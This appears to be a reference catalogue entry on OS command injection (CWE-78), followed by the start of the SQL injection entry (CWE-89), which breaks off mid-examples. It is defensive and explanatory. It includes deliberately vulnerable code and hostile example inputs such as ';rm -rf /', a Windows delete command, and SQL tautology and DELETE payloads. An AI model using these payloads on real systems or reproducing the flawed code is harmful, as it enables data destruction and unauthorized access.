The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description

This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

  1. The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.

  2. The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

+ Alternate Terms
Shell injection
Shell metacharacters
+ Terminology Notes

The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Confidentiality
Integrity
Availability
Non-Repudiation

Technical Impact: Execute unauthorized code or commands; DoS: crash / exit / restart; Read files or directories; Modify files or directories; Read application data; Modify application data; Hide activities

Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.

(Bad Code)
Example Language: PHP 
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);

The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:

(Attack)
 
;rm -rf /

Which would result in $command being:

(Result)
 
ls -l /home/;rm -rf /

Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.

Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.

Example 2

This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.

(Bad Code)
Example Language: Perl 
use CGI qw(:standard);
$name = param('name');
$nslookup = "/path/to/nslookup";
print header;
if (open($fh, "$nslookup $name|")) {
while (<$fh>) {
print escapeHTML($_);
print "<br>\n";
}
close($fh);
}

Suppose an attacker provides a domain name like this:

(Attack)
 
cwe.mitre.org%20%3B%20/bin/ls%20-l

The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:

(Result)
 
/path/to/nslookup cwe.mitre.org ; /bin/ls -l

As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.

Example 3

The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.

(Bad Code)
Example Language: Java 
String script = System.getProperty("SCRIPTNAME");
if (script != null)
System.exec(script);

If an attacker has control over this property, then they could modify the property to point to a dangerous program.

Example 4

In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.

(Bad Code)
Example Language: Java 
public String coordinateTransformLatLonToUTM(String coordinates)
{
String utmCoords = null;
try {
String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime();
Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);
// process results of coordinate transform
// ...
}
catch(Exception e) {...}
return utmCoords;
}

However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program.

Example 5

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

(Bad Code)
Example Language: Java 
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K \"
c:\\util\\rmanDB.bat "
+btype+
"&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

+ Observed Examples
ReferenceDescription
Canonical example. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Web server allows command execution using "|" (pipe) character.
FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.
Shell metacharacters in a filename in a ZIP archive
Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.
OS command injection through environment variable.
OS command injection through https:// URLs
Chain: incomplete blacklist for OS command injection
Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.
+ Potential Mitigations

Phase: Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Strategy: Identify and Reduce Attack Surface

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.78.8] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing OS command strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategies: Compilation or Build Hardening; Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.

Phase: Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create a whitelist of allowable commands, then prevent use of any command that does not appear in the whitelist. Technologies such as AppArmor are available to do this.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.78.9]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory744CERT C Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory810OWASP Top Ten 2010 Category A1 - Injection
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory8642011 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory878CERT C++ Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory929OWASP Top Ten 2013 Category A1 - Injection
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
CanAlsoBeWeakness BaseWeakness Base88Argument Injection or Modification
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
+ Research Gaps

More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.

+ Affected Resources
  • System Process
+ Functional Areas
  • Program invocation
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROS Command Injection
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV04-CDo not call system() if you do not need a command processor
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC31OS Commanding
CERT Java Secure CodingIDS07-JDo not pass untrusted, unsanitized data to the Runtime.exec() method
CERT C++ Secure CodingSTR02-CPPSanitize data passed to complex subsystems
CERT C++ Secure CodingENV03-CPPSanitize the environment when invoking external programs
CERT C++ Secure CodingENV04-CPPDo not call system() if you do not need a command processor
Software Fault PatternsSFP24Tainted input to command
+ White Box Definitions

A weakness where the code path has:

1. start statement that accepts input

2. end statement that executes an operating system command where

a. the input is used as a part of the operating system command and

b. the operating system command is undesirable

Where "undesirable" is defined through the following scenarios:

1. not validated

2. incorrectly validated

+ References
[R.78.1] G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. 2004-02.
[R.78.2] Pascal Meunier. "Meta-Character Vulnerabilities". 2008-02-20. <http://www.cs.purdue.edu/homes/cs390s/slides/week09.pdf>.
[R.78.3] Robert Auger. "OS Commanding". 2009-06. <http://projects.webappsec.org/OS-Commanding>.
[R.78.4] Lincoln Stein and John Stewart. "The World Wide Web Security FAQ". chapter: "CGI Scripts". 2002-02-04. <http://www.w3.org/Security/Faq/wwwsf4.html>.
[R.78.5] Jordan Dimov, Cigital. "Security Issues in Perl Scripts". <http://www.cgisecurity.com/lib/sips.html>.
[R.78.6] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 10: Command Injection." Page 171. McGraw-Hill. 2010.
[R.78.7] Frank Kim. "Top 25 Series - Rank 9 - OS Command Injection". SANS Software Security Institute. 2010-02-24. <http://blogs.sans.org/appsecstreetfighter/2010/02/24/top-25-series-rank-9-os-command-injection/>.
[R.78.8] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.78.9] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.78.10] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Shell Metacharacters", Page 425.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Name, Related_Attack_Patterns
2009-07-17KDM AnalyticsExternal
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITREInternal
updated Description, Name, White_Box_Definitions
2009-10-29CWE Content TeamMITREInternal
updated Observed_Examples, References
2009-12-28CWE Content TeamMITREInternal
updated Detection_Factors
2010-02-16CWE Content TeamMITREInternal
updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Observed_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Terminology_Notes
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11OS Command Injection
2009-01-12Failure to Sanitize Data into an OS Command (aka 'OS Command Injection')
2009-05-27Failure to Preserve OS Command Structure (aka 'OS Command Injection')
2009-07-27Failure to Preserve OS Command Structure ('OS Command Injection')
2010-06-21Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

All

Technology Classes

Database-Server

+ Modes of Introduction

This weakness typically appears in data-rich applications that save user inputs in a database.

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

Access Control

Technical Impact: Bypass protection mechanism

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

Access Control

Technical Impact: Bypass protection mechanism

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

Integrity

Technical Impact: Modify application data

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

+ Likelihood of Exploit

Very High

+ Enabling Factors for Exploitation

The application dynamically generates queries that contain user input.

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Database Scanners

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. [1]

Example 2

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

(Bad Code)
Example Language: C# 
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...

The query that this code intends to execute follows:

SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

(Attack)
 
name' OR 'a'='a

for itemName, then the query becomes the following:

(Attack)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';

The addition of the:

(Attack)
 
OR 'a'='a

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

(Attack)
 
SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

(Attack)
 
name'; DELETE FROM items; --

for itemName, then the query becomes the following two queries:

(Attack)
Example Language: SQL 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

(Attack)
 
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a

Then the following three valid statements will be created:

(Attack)
 
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';

